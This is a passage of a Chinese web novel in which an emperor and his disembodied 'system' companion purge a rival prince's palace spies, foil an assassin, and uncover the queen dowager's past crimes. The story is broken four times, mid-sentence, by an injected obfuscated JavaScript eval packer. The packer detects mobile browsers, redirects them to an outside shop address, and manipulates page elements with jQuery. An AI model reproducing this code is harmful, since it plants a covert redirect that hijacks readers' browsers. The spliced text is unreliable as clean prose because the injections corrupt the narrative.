周池摇了摇头:“他做了太多令我无法宽恕的事,今日没能杀他,只是因为时机未到。” 周玄回京时身后跟着不少人,朝中大半势力也已投入周玄麾下,真要把他逼急了,或许他真的会起兵造反。 “如今我占不到优势,待日后铲去他的势力,折断他的羽翼,我自会让他偿命。” 偿命?给谁偿命? 林清许觉得这小说里的人物设定似乎越来越复杂了。 “好啦,尝尝这个。” 周池正沉浸在自己的情绪里,听到林清许的声音,他先是一愣,随后低头一看,才发现自己手上多了一根细长的木棍,木棍上还包着一大团白色的棉花。 “这是何物?”他下意识问道,指尖触碰到那团棉花,发现它蓬松柔软,凑近些还能闻到一股甜香。 林清许得意道:“这是棉花糖,我特意用能量变的,快尝尝味道如何。” 周池迟疑地看着这团棉花糖,在林清许的连声催促下,才小心地咬了一小口。 入口即化,轻盈地像是咬下了一口云彩,甜丝丝的味道在舌尖蔓延开来,让他眉头不自觉地舒展开来。 “怎么样?”林清许期待地问着。 “味道尚可。”周池又咬了一口,嘴角微微上扬。 “口是心非,我看你吃得挺开心的。”林清许哼笑着,“放心啦,只要你认真完成任务,这些小零食,要多少我就能给你变出多少。” 然而,这话不知戳中了周池脑子里哪根弦,他将手中的木棍拿远,声音低沉:“你……” “怎么了?”林清许回应道。 “没什么。”周池摇了摇头,眸色晦暗。 林清许收回视线,正觉得周池的表现有些奇怪,又忽的听见他喊了一声“阿妤”。 什么阿鱼,这殿里也没有鱼啊?还是说有个叫阿鱼的人进来了? 林清许仔细看了看,并未发现有疑似阿鱼的人或物,于是奇怪地问道:“你在叫谁,这里也没别人啊?” 周池一愣,神色有些失望:“想起一位故人,不经意叫出了她的名字。” 闻言,林清许顿时意味深长地“哦”了一声。 怪不得上次周池听到小说设定里,他打算纳林芷嫣为妃后反应那么激烈,原来人家心里有白月光啊。 不过看周池的表情,这个阿鱼显然没能和他在一起,这其中一定还有许多不为人知的故事。 林清许煞有其事地点了点头,识趣地没再追问。她在控制台前敲敲打打,很快就整理出一份资料,传入周池的脑海中。 “这些就是周池在皇宫里安插的眼线,人确实不少,你想想办法给处理了。” 她把话题拉回正事上,看着周池因突然接受大量信息而变得脸色苍白,略微有些心虚。 这些信息十分详尽,不仅列出了人名、职务,甚至标注了他们被收买的时间与这些人的把柄。 周池消化着骤然涌入脑海的信息,头痛欲裂。他跌坐在座椅上,撑着额头,好一阵才缓过来。 “从御前近侍到膳房御厨,一共有三十二人。”他闭了闭眼,抽气道,“周玄的手伸得真长。” 林清许想了想,觉得自己一直待在系统空间还是不太方便,于是悄悄幻化出虚影,飘到周池身后。 还是自己的视角用着舒服,而且不论是周池还是其他人,都看不到她的存在,也不用担心会被人发现。 她弯起嘴角,围着周池飘了一圈,轻声问道:“你之前说过,完成任务的方式由你自己决定,现在距离任务结束还有七天,想好怎么做了吗?” 周池没有立刻回答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206347|197356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他重新拿起棉花糖,目光落在蓬松的糖丝上,神色有些恍惚。 “周玄经营多年,贸然行动定会打草惊蛇,容我再想想。” 接下来的几日,一切都风平浪静。 周池如常上朝,处理政务,还派了亲信把守王府,确保周玄老老实实地在王府禁足思过。然而这只是表象,暗地里,这两人可没少较劲。 御膳房的一个管事因克扣食材被查办,藏书阁的一个小吏因偷拿禁书被杖责,御前一个不起眼的洒扫太监,也因不慎打碎了先帝喜爱的花瓶,被调去当了苦役。 这些事件之间毫无关联,处罚也轻重不一,仿佛只是宫中寻常的小事。 直到任务第三天,一位负责宫中采买的内侍,因被查出与宫外商贾勾结、虚报价格入狱,而此人正是周玄颇为倚重的人之一。 这次,周池没有轻轻放过,他下令严查,顺藤摸瓜,竟牵连出好几桩陈年旧案。 这下禁足中的周玄终于按捺不住,递了折子请求面圣。 他比几日前清瘦了些,眼底带着几分忧色与急切。 “皇兄,臣弟闭门思过,深觉以往办事确有疏漏,让皇兄身处险境,实乃大罪。” 周玄跪在殿中,声音哽咽:“近日听闻宫中多有动荡,若是因臣弟监察不力所致,臣弟愿一力承担,只求皇兄莫要气坏身子。” 林清许在殿梁上飘着,看着这一幕,又想起了系统空间里的瓜子。 书案前,周池放下手中的奏折,抬眼看他,目光平静:“你有此心,朕心甚慰。宫中近日是处置了些不尽心的奴才,但这与你无关,你只需安心待在王府即可,不必为此挂心。” 他语气温和,甚至带着一丝安抚,可在周玄听来就不是那么回事了。 周玄猛然攥紧袖中的手,面上却依旧恭顺:“可是臣弟听闻,被处置的人里,有些是臣弟的旧识。不知他们究竟所犯何事,若情节不重,皇兄能否看在往日情分上,从轻发落?” “从轻发落?”周池笑了笑,笑意却未达眼底,“恭亲王,你可知有人仗着旧日的情分,做的事却足以让人千刀万剐吗?” 周玄脸色有些难看,他迅速俯下身,遮去眼底的不甘:“是臣弟失言。” 周池摆摆手,示意周玄起来:“无妨,你回去好好思过,过些日子朕自会解了你的禁足。” 闻言,周玄行礼告退,御书房便恢复了安静。 “处置的人还不到三分之一,你弟弟就按捺不住了,也太——” 林清许落到周池的书案旁,目光瞥到上面堆放的奏折,顿时话锋一转,震惊道:“这真是文武百官递上来的折子,而不是你派人从五湖四海搜集来的闲闻逸事?” 林清许便觉得有些头疼,无他,这些奏折上面没写一件正事。 要么是这家的鸡丢了,要么是那家的狗下崽儿了,要么是某对夫妻吵架要和离......总而言之,全都是百姓间鸡毛蒜皮的小事。 周池却似乎习惯了,他神色平淡地拿起一份奏折,提笔批阅:“有何不妥吗?” “当然不妥,这些家长里短的琐事,理应交给地方官吏处理,怎的还递到你面前了?” 林清许的虚影在奏折堆上转悠,眉头紧锁。 察觉到她的不快,周池放下手中的笔,嘴角微微上扬。 “放心吧,很快就不会再有这种奏折了。” 9. 刺杀 三日后,深夜。 林清许百无聊赖地趴在窗前,望着头顶被黑云遮住大半的圆月,心中疑虑更甚。 自那日周池下令斩杀那名替周玄在宫里敛财的太监后,他就没再动过名单上其他的人。 眼看着七天的期限就要到临,林清许有些焦虑,可周池却十分淡定,甚至还有闲心去御花园赏了两个时辰的花。 她实在忍不住,于是问起周池的打算。可每当这时,周池都只会说一句“很快你就知道了”,然后继续赏花听曲看古籍。 直到这日,周池说半夜可能会有刺客来取他性命,让林清许帮忙留意着,一有风吹草动就立刻把他叫醒。 成为系统的林清许已不再需要睡眠,她挂在窗前,聚精会神地感知着周遭的环境。可是等待的过程实在太过无趣,等了大约两个时辰后,她感觉乏味,于是开始数起天上的星辰。 快要数到二百个的时候,她低下了头。 “快醒醒,有人来了。” 周池闭目躺在榻上,被叫醒后,他在脑海中应了一声,然后继续装睡。 那名刺客还有一会儿才能抵达寝殿,林清许朝床榻上望了望,犹豫片刻后,给周池周围设了一道防护罩。 按照计划,周池要活捉这名刺客,以防刺客身上带有暗器,还是得提前做好准备。 过了一会儿,一道黑影停在窗外,听到周池均匀的呼吸声,他不再犹豫,从窗外跃入殿内,手中短刃径直刺向周池的脖颈。 就在快要刺到周池皮肤的时候,一股无形的力量挡住了刀刃,只听“哐当”一声,短刃从刺客手中脱落,扎入一旁的床柱里。 刺客瞪大眼睛,还未等反应过来,榻上的周池就已经睁开眼睛,坐起身来。 “朕已等你许久了。”他眼眸清明,声音也十分平静。 刺客双眼微眯,掏出几枚飞镖抛向周池,然而全被防护罩弹飞了。见状,他大惊失色,明白今晚的刺杀肯定要失败了,于是冲向窗户想要逃跑。 周池断不会给他这个机会:“赵安,抓刺客!” 如今齐海宽已化名赵安,当上了周池的御前侍卫。一声令下,齐海宽带着护卫军将寝宫围起来,宛如瓮中捉鳖。 跑也不是,不跑也不是,看着外面亮起的火把,刺客缓缓转身,面对着周池,冷哼一声。 “陛下真是好算计。”他声音嘶哑,又带着绝望和狠厉,“但我什么消息也不会透露。” 他眼中闪过一丝决绝,随后取出最后一枚飞镖,划向自己的喉咙。然而,林清许一直在旁边盯着他的动作,他才拿着飞镖抬起手,便感觉自己被一股力量给操控了,浑身动弹不得。 “关键时刻还得靠我。”林清许终于松了一口气,提醒道,“不过你还是快点让人把他控制住吧,控制别人的身体消耗的能量太大了,再拖下去我的能量条又得见底。” 周池点点头,起身下榻:“赵安,将这刺客绑起来带走,过会儿我亲自审问。” 刺客眼神凶狠地盯着周池,身体被林清许的能力禁锢着,连咬舌自尽的力气都使不上。 ”属下遵命。”齐海宽与几个护卫军将刺客五花大绑押走,以防万一,还卸了他的胳膊。 寝殿内重归寂静,为了节省能量,林清许回到系统空间。 “这人是周玄的死士,今晚的刺杀或许就是周玄授意的,你弟弟可真是迫不及待想要杀你。” 周池淡淡一笑:“我早就料到了,如今我和他的兄弟情分,还不如一个负责采买的内侍。不过经此一事,不出一个时辰,任务就能完成。” 林清许想了想,还是不明白他要搞什么幺蛾子,只好继续旁观。 过了一会儿,齐海宽走进寝殿:“陛下,我已把刺客关在偏殿里,有数名护卫军看守,他双臂脱臼,嘴里也被塞了麻布,已是万无一失。” 周池颔首:“多谢表哥,不过我还有些别的事要麻烦你。” 他走到书案前,将烛火点亮,又铺开一张纸,提笔蘸墨,写了满满一张纸。 “麻烦表哥在天亮之前,将这些人一并带到偏殿。” 他将纸张递给齐海宽,齐海宽接过纸张,看也没看就收进怀中。 “为陛下分忧是属下应尽之事。”说完,齐海宽又小声提醒道,“表弟啊,宫里人多眼杂,你还是一直喊我赵安吧,否则这声表哥被人听去,我身份暴露,岂不是给你添麻烦?” 周池顿时一愣,随后无奈笑道:“倒是我考虑不周了,赵安。” 齐海宽拱了拱手,转身快步离去。 待他的身影消失在殿门外,林清许才在周池脑海里幽幽问道:“我刚才看你把还没处理的眼线全都写到那张纸上了,你这是想一网打尽?” 真是不鸣则已一鸣惊人,要整就整了个大的。 “没错,我要借刺客行刺一事将这些人聚到一起,能为我所用者留下,其余人一并杀了,这样也算将眼线全部拔除。” 周玄不慌不忙地说着他的计划,那杀伐果断的样子,让林清许不由得沉默起来。 周池没在拿到名单的第一天,就把名单上的人全都暗中处置掉,可见他并非嗜杀之人。他身为帝王,又多次造亲近之人暗害,心狠些以求自保,这也是很正常的事。 可她却隐约觉得,周玄的性格不应是这样的,他应该是个温柔开朗的人,身边的朋友亲人都待他很好,而不像现在这样,浑身散发着孤寂阴冷的气息。 齐海宽办事效率很快,不到半个时辰,偏殿方向传便来了喧哗声。 “走吧,该去做任务了。”周池整了整衣袍,走出寝殿。 偏殿内灯火通明,数十人被护卫军看管着,他们身份各异,因在熟睡时被人带走,脸上都写满了惊惶与不解。 见到周池进来,殿内顿时安静下来,除了被绑住动弹不得的刺客外,所有人都跪倒在地。 周池在主位坐下,目光缓缓扫过众人。他没有说话,只是走到齐海宽身前,将他写的那份名单拿了回来。 很快,有人承受不住压力,颤声开口:“陛下,不知臣所犯何罪,为何深夜将我等拘来此处?” 周池抬眼看向说话之人,那是一名御医,名叫邹光景,平日里不显山不露水,在太医院里没什么存在感。 “邹御 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206348|197356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医不必惊慌。”周池开口,声音平静无波,“今夜有人行刺朕,想必方才过来的路上,诸位已经听说了。据刺客供述,这宫中还有人与逆党勾结,意图谋害于朕,而你们——” 他顿了顿,举起纸张,手指在上面轻轻一点:“都在刺客供述的名单上。” 此话一出,殿内顿时响起一片倒吸冷气的声音。 “陛下明鉴,臣等冤枉啊!” “定是有人栽赃陷害!” “臣对陛下忠心耿耿,天地可鉴!” …… 求饶声与辩白声此起彼伏,周池静静听着,待声音稍歇,才缓缓道:“朕相信名单上有被冤枉之人,所以朕给你们一个机会。” “无论从前是否与逆党勾结,现在主动站出来,交代与逆党的全部往来,朕可从轻发落。执迷不悟者,待查实之后,以谋逆论处。” 话音落下,殿内死一般寂静。 林清许坐在控制台前,看着神色各异的眼线们,心中唏嘘不已。 短暂的死寂后,一个宫女从人群中穿出,握着一根簪子,飞扑向周池。 “陛下小心!” 那宫女动作很快,齐海宽还未来得及阻挡,她就已跃至周池身前。不过,周池反应也很快,他用力抓住宫女的手腕,在剧烈的疼痛下,宫女松开了手,发簪也顺势落在地上。 “拖出去,杀了。”周池放下手,一旁的护卫军也都反应过来,纷纷上前压住那名宫女。 即便死到临头,宫女眼中也毫无惧意,被人拖下去时,她还在嘲笑殿内的其他人都是懦夫,连放手一搏的勇气都没有。 经此一事,殿内众人面如菜色,那名宫女的下场,终究是刺破了他们心中最后一丝侥幸。 终于,一名侍卫跪着向前,磕头求饶:“陛下,小人曾收过王府管事的银子,将宫中侍卫的值守时辰告诉了他,求陛下饶命!” 有第一个就有第二个,陆陆续续,有七八人匍匐上前,交代了自己与周玄的联系。 这些人所涉之事或大或小,但无一例外,都是为周玄办事的。 周池面色平静地听着,每听一人交代完,便在那份名单上划一道。 然而,林清许发现仍有几人跪在原地,脸色惨白,却没有出声,其中就包括邹光景。 过了一会儿,周池的目光就落在了邹光景身上。 “邹御医,你没有什么想说的吗?” 邹光景浑身一颤,声音干涩:“臣,无话可说。” 殿内再次陷入寂静,周池将手中名单递给齐海宽,声音带着几分冷意。 “朕给过你们机会,主动认罪者,朕可饶他一命,至于其余人……” 他没有再说,只是挥挥手让护卫军将人带下去。 人群散去,偏殿内空旷下来,只剩下周池以及被五花大绑的刺客。 周池走到他旁边,伸手取下他口中的麻布。 刺客大口喘着气,死死盯着周池:“要杀便杀,何必在我面前弄这一出?” 周池转身,望向殿外渐亮的天色,低声道:“方才还不到时候,但现在可以送你上路了。” 10. 你的过往 【姓名:周池】 【身份:苍兰国帝王】 【生命值:81%】 【当前状态:良好】 【主线任务:三个月内,铲除安家的势力】 能量条飙升到57%后,林清许整个系统都觉得神清气爽。不过看到主神给的新任务,她又一次发现,自己对这个话本世界的了解确实太少了。 “这次又是有时限的任务,三个月内铲除安家的势力。” 虽然她不知道安家是何方神圣,但作为任务的执行者,周池肯定是知道的。 “这个任务很有意思,安家是周玄在京城最大的靠山,一旦安家倒了,周玄便如同没了翅膀的麻雀,再难掀起风浪。” 好在宫中曾经效忠周玄的眼线已有大半投入周池麾下,不愿为周池所用之人也已被处死,周玄里从宫里的眼线里得不到消息,所以只要他不知道周池要对付安家…… “陛下,太后娘娘请您过去一趟。” 外面传来了通禀声,周池批阅奏折的手停顿下来,抬头向外看了一眼,随后撂下毛笔,沉声道:“朕知道了,退下吧。” 话毕,他理了理衣袖,随宫人朝安太后住的宫殿走去。 如今是正午时分,安享月坐在靠椅上,时不时地朝门口望去,神色焦灼。 “皇上驾到!” 尖细的声音从远处传来,安享月顿时眉头舒展,闭着眼睛等待周池进殿请安。 周池推开门,先朝安享月行了一礼,装模做样地问了句:“太后娘娘急着将朕唤来,是为何事?” 说完,他朝身边看了看,周围的宫人会意,纷纷离开殿内。待安享月睁开眼时,殿中只剩下她与周池两个人。 “究竟为了何事,皇上难道不知?”安享月语调陡然拔高,质问道。 见到这剑拔弩张的场景,林清许大为震惊,她万万没想到,周池与太后的关系竟然这样差。 周池神色不变,从容地坐在安享月旁边的木椅上,反怼道:“太后何出此言,若什么事都知道,那朕岂不成了神仙?” 安享月胸口起伏,显然气得不轻,她顾不得维持平日的端庄仪态,倾身向前:“皇上,你将玄儿禁足,这几日又派人去核查玄儿府上账目,闹得人心惶惶,你当真以为哀家不知道你想做什么吗?” 闻言,周池轻笑一声,语气悠长:“太后既知朕在核查账目,便该明白,若恭亲王账目清明,又何惧核查?至于禁足一事,他操办秋猎不利,竟让苍翠山上混入刺客,若非朕命大,恐怕太后今日就见不到朕了。” 说到这里,他冷哼一声,佯怒道:“让他在府中禁足思过,已是朕开恩。” 安享月脸色愈发难看:“依哀家看,你分明是容不下他!” 周池没有立即反驳,而是用那深不见底的眸子看着安享月,直到看得她背脊发寒,才幽幽开口:“太后言重了,朕与恭亲王血脉相连,怎会容不下他?他是朕的兄弟,只要他安分,朕自然会给他亲王应有的尊荣。” “说起来,他年纪也不小了,却迟迟未定正妃,难免心思浮躁。朕思来想去,欲为他赐一门好亲事,有了家室牵绊,他日后行事也能稳妥些,太后也可安心了。” 听到周池要赐婚,安享月警惕地看着他,语气却缓和了些许:“皇上属意哪家贵女?” 周池定定地看了她一眼,不疾不徐道:“听闻安家三房的嫡长女才情出众,温婉可人,又与恭亲王年纪相仿。并且安家为太后母家,若能亲上加亲,岂不美哉?” 听到某个关键词,林清许顿时来了精神。怪不得周池说安家是周玄在京城最大的依仗,原来安家是太后的母家,也就是周玄的外祖家。 安享月眼中瞬间迸出惊喜的光芒,她脸上阴霾瞬间散了大半,眼角也浮现出一丝笑意:“玲儿那孩子哀家知道,与玄儿相配,甚好。” “既然太后也觉得好,那朕便着手安排下去。”周池起身,淡淡道,“只是赐婚之前,朕还打算问问恭亲王自己的意思,毕竟是他的终身大事。” 安享月此刻已沉浸在亲上加亲的喜悦中,闻言只道:“皇上赐婚,这是天大的恩典,玄儿怎会不愿?皇上多虑了。” 周池笑了笑,行礼告退:“今日朕就解了恭亲王的禁足,并为他赐婚。太后若无他事,朕便回去了。” 离开太后居住的宫殿,周池缓步走在宫道上,脚步未停。 “你和太后关系不好吗?”林清许突然出声。 周池脚步稍顿,反问道:“为何这样说?” “这很显而易见吧,方才殿内,太后连原因都没问一句,就斥责你让周玄闭门思过,你对她也是戒备疏离,言谈举止无半分亲近之意。” 瞧着两人刚才剑拔弩张的气势,哪里像母子啊,是敌人还差不多。 宫道两侧红墙高立,在太阳底下投下深深的阴影。周池走在阴影中,过了许久才在脑海中回复:“从前我与安享月关系不错,她并非生母,却待我极好。” 他平静地说着,像是在陈述一个与自己无关之人的故事:“那时我年纪还小,母后身体不好,又怀有身孕,父皇便让安享月,也就是那时的安贵妃代为照顾我。她对我很好,甚至好过对待当时的周玄,她亲自为我缝制衣裳,陪我读书习字直到深夜,我生病时她也衣不解带,守在我的床边。” 他顿了顿,仿佛在怀念那段遥远的记忆。 “我曾以为她是真心将我当做她的孩子,直到母后难产离世,妹妹不满周岁便夭折,外祖父因过度悲伤垮了身子。不久之后,父皇立我为太子,安享月晋为皇贵妃,代掌凤印。” 从那以后,一切都变了。 “她依旧关心我的衣食起居,但每次与我闲谈时,都会夸赞周玄聪明懂事,还提醒我要兄友弟恭。我那时对她十分敬重,对她说的话也深信不疑。后来父皇病重,我的身边开始出现各种各样的意外,饭菜里混入相克的食物,出游时马车突然受惊,书房的横梁无故断裂,险些要了我的命。每一次的意外都看似巧合,也查不到指向她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206349|197356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的证据。” 他的声音低沉下去,带着彻骨的寒意:“那日我偶然听到她身边的宫女说,母后的死并非意外,而是安享月在母后的吃食里动了手脚。” 这个结果,林清许已有所猜测,可真的听到周池说起,她仍旧心里一窒。 周池呼吸急促了一瞬,声音有些哽咽:“我当时如遭雷击,只想立刻冲进殿里质问她,事实究竟是不是那个宫女所说的那样。若不是阿妤……” 又一次提到这个名字,周池眉间浮现一抹痛苦之色,他嘴唇微抿,似乎不愿多说。 过了一会儿,周池平静下来,继续道:“阿妤说,仅凭一个宫女的话,根本奈何不了已是皇贵妃,且又有安家撑腰的安享月,倘若我贸然行事,只会打草惊蛇,甚至会引来更大的祸患。我隐忍下来,暗中调查,试图找到更多线索。” 听到这段过往,林清许竟觉得心口有些酸痛。可如今她身为系统,不该有这么大的情绪波动。 “那,后来呢?”沉默片刻后,林清许柔声问道。 周池长叹一声,神情落寞:“我和阿妤找到了安家想要暗害我,以及安享月买通宫人在母后茶水中下毒的证据,我本想在宫宴上将她所做之事尽数揭露,但在宫宴开始前,阿妤不见了。我出去寻她,发现她在池边与人起了争执,那人将她推入池中,我想跳进去救她,可是我才跑到池边,就被人打中后颈,昏了过去。” 直到宫宴结束,周池才被过路的宫女发现,救醒过来。他头部受了伤,记忆也有所缺失,不仅忘记了阿妤,还忘记了安家对他做过的重重恶行。 直到秋猎之后,周池绑定了系统,那些遗忘的记忆才重新回到他的脑海里,但这么多年过去,很多证据早已被安享月抹去,周玄有安家为他铺路,在朝中的势力如日中天。 了解来龙去脉后,林清许心里沉甸甸的,好像被压了一块巨石。 “你前几日所说的故人,就是这个阿妤吗?” 周池点点头,道:“没错,我与阿妤自幼相识,算是青梅竹马。” “嗯。”林清许声音轻飘飘的,“那她还……” 她还活着吗? 后面的话,林清许没问出口。 周池知道系统要问什么,于是沉默了许久,最终轻轻摇了摇头:“她死了。” 闻言,林清许忽然感到一阵剧烈的头痛,仿佛有无数根细针扎在她的脑海中。她急忙切断和周池的单向连接,忍不住在系统空间里发出痛呼。 恢复意识时,她听到周池焦急的询问声。 “系统,你能听到吗?” 疼痛感消失,林清许不知发生了什么,只好重新与周池建立连接。 “可以听到。”她轻声回应道,“刚才出了点问题,没办法回复你,不过现在已经没事了。” 听到她的声音,周池紧绷的眉头舒展开来:“你无恙便好。” 他话锋一转,又道:“不过你如今已经知道我从前经历过的事情,可我对你却所知甚少。” 11. 我好像忘记了 “我的过去?” 林清许微微一怔,零散的记忆碎片浮现在她的脑海里。 “我从小在孤儿院长大,受人资助读了大学,毕业后进了一家公司,在被公司辞退的那天,莫名其妙地死了,然后成了你的系统。” 周池仔细听着,发现她只用几句话就草草总结了她的一生,不由得轻咳一声,皱了皱眉头。 “只有这些吗?” 林清许仔细想了想,却发现从前的记忆已变得十分模糊:“孤儿院的生活很单调,然后就是读书,工作,没什么特别的。” 捕捉到某个陌生的词汇,周池问道:“孤儿院是何地?” 林清许声音更轻了:“是一个有很多孩子的地方,大家没有亲人,彼此相互依靠着长大,可我似乎……” 她在孤儿院都做了什么,认识了什么人,竟然全都不记得了。 不仅如此,小学、初中、高中乃至大学,这些阶段接触的人,她也一个都记不起来。 只有她误入那个满是白光的地方之后的记忆,才是清晰真切的。 想到这里,林清许的声音不禁有些颤抖:“从前的人和事,我似乎全都忘记了。” 周池察觉到她的异样,联想到自己曾因受伤失去部分记忆时的感受,心头一动。 “在成为系统前,你都经历了什么,还记得吗?”他声音缓和,引导着问道。 这一次,林清许回答得顺畅了些:“那天我被公司辞退,原因好像是我负责的一个项目出现了数据错误,但我觉得那并不是我的错,然后……” 然后发生了什么呢? 系统空间内,林清许坐在控制台前,看着忽明忽暗的光屏,一脸茫然:“我只记得这些,其他的都不记得了。” 听到这里,周池陷入沉思。系统的描述太过笼统,几乎构不成有效的记忆,可是这不应该,除非她的记忆被动过手脚。 林清许也发现了不对,但她只是恐慌了片刻,就强迫自己安定下来。 记忆缺失是事实,恐慌解决不了任何问题,既然不知道为何她从前的记忆如此模糊,不如按部就班,帮周池完成任务积攒能量,等能量满了,她自然能回到原来的世界里,到那时或许就能知道真相。 不过,有一点林清许比较在意。 “先不说这些了。”林清许话锋一转,直奔任务主题,“你给周玄和安玲赐婚,那林芷嫣怎么办?按照她的脾气,估计得闹翻天吧。” 为了能够嫁给周玄,林芷嫣可是连皇帝都敢杀,若是得知赐婚之事,安玲焉能有命在? 更何况,原书里男女主的感情线是在配角周池死后才开始飞速发展的,现在周玄对林芷嫣还处于利用多于好感的阶段。 与安家联姻,对周玄有利无弊,他断不会拒绝。 周池显然也想到了这一点,他眸色转深,嘴角噙着一抹意味深长的笑意。 “闹起来才好,她若不闹,我怎能借此机会对付安家?” 语毕,他立即提笔写下赐婚诏书,派人送至恭亲王府。 “说起来,还有件事没办呢。”周池福临心至,转头又派人给秦府传了口信,让秦屿立刻入宫觐见。 林清许也没闲着,她可还记得,刚才就是周池提起阿妤从前的事情,她才头痛欲裂,昏厥过去。于是趁周池写诏书时,她调用能量调查有关阿妤的信息,想看看阿妤与她刚才的反应有没有什么关联。 然而,调查的结果却让她傻了眼。 阿妤,自幼与周玄定亲,被亲人推入水中溺毙而亡,享年十五岁。 短短一句话,概括了阿妤的一生,但林清许对此十分不满。 阿妤阿妤,这一听就是个小名,自幼与皇子相识,还能定下娃娃亲的,怎么也得是个出身显赫的官家小姐吧,查到的信息里怎么连她的大名都没有? 林清许盯着光屏上的寥寥数语,只觉得荒谬。她还想再查,但在刚刚触碰到控制台时,突然感到一阵虚弱。 林清许知道,她不能再查下去了,可是为什么呢? 她将双手从控制台上收回来,那股虚弱感才渐渐退去,但她还是不明白,为什么普通的背景调查,会引起这么剧烈的反应。 除非,阿妤这个人本身,或者说,关于她的信息,被某种更高层级的规则或力量保护加密了。 联想到自己那片模糊不清、仿佛被烟雾笼罩的过去,一个念头不由自主地从她的脑海里冒了出来。 她的记忆缺失,与阿妤无法探查的信息,会不会有某种联系? 可是林清许来自现代,而阿妤是这个世界早已死去的人,按理说是八竿子打不着的。 林清许抬眼望向光屏,看着周池的身影,她忍不住想要再次开口询问,但话到嘴边,又被她咽了回去。 还是不要问他了,万一她刚才的反应真和阿妤有关,那周池一说,她又该头疼了。 该说不说,周池身边的人效率真的高,一会儿的功夫,外边便传来了通禀声,说是秦宣奉郎已经到了,就在外面候着。 “让他进来。”周池放下手中纸笔,正襟危坐。 秦屿踏入殿内,恭敬地行礼:“微臣参见陛下。” 周池眼神示意周围的宫人离开屋内,随后道:“起来吧,今日让你过来,是有件事想让你办。” 秦屿一脸茫然地站起身,小心翼翼地开口道:“陛下有何吩咐?” 周池清了清嗓子,吩咐道:“朕近日批阅奏折,总觉内容用词生涩,词不达意者甚众,你身为宣奉郎,熟读古文典籍。朕令你即刻着手,整顿奏折文风。” 秦屿的脸色越听越难看,他都不知道自己还读过古文典籍,更别提整顿文风了。 过了片刻,秦屿才艰难开口:“陛下是认真的吗?” 周池颔首道:“君无戏言。” 秦屿欲哭无泪:“可是臣才疏学浅,整顿奏折文风这种事,臣从未涉及过,只怕有负陛下重托。” 周池微微一笑:“不必自谦,此事只有你能办到,再者还有你父亲呢。” 秦屿虽然是个直性子,但他不傻,一下就明白周池一开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209203|197356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就没想让他帮忙办事,人家盯上的是他爹,而他只不过是个传话的。 至于为何让他传话,恐怕还与那日宫门前发生的事情有关。 “微臣领命,必不负陛下所托。” * 赐婚的消息传到林府时,林芷嫣正对镜描眉。 听到消息后,她眼底愕然,手中的铜黛掉落在地上,“啪嗒”一声断成两段。 “你说什么,再仔细说一遍?”她声音发颤,不敢相信自己听到的话。 跪在地上的丫鬟浑身发抖,头微微垂下,惶恐不安道:“二小姐,是安府传来的消息,陛下听闻恭亲王和安太傅家的大小姐安玲情投意合,于是将安玲指给恭亲王为正妃,婚期就定在九月初七。” 林芷嫣脸色瞬间变得苍白无光,还有二十日,她的心上人就要娶别人为妻了。 “好啊,好一个情投意合。” 林芷嫣低低地笑了几声,笑声里却听不出半分暖意。 “二小姐……”丫鬟跪在地上,声音细若蚊呐。 还未等她说完,林芷嫣便站了起来,出言打断了她的话:“出去,没有我的吩咐,谁都不许进来。” “是,二小姐。”她求之不得,赶忙逃了出去,才合上门,就听到屋里传来瓷器碎裂的声响。 她吓得浑身一颤,心有余悸地拍了拍胸脯,快步离开这个是非之地。 屋里,林芷嫣将台上的胭脂水粉、各类首饰以及陶瓷茶杯全都扫落在地上。 “周玄、安玲,你们好得很!”她咬牙切齿地念着这两个名字,铜镜里映照出一张因愤怒而扭曲的脸庞。 为了成为周玄的正妻,为了助周玄登上皇位,她违逆父亲,手染鲜血,甚至背负弑君之罪。 “我为你做了那么多,你却要娶旁人为妻。” 林芷嫣抬手抹去眼角的泪珠,深吸几口气,强迫自己冷静下来。愤怒无用,此刻她必须做些什么。 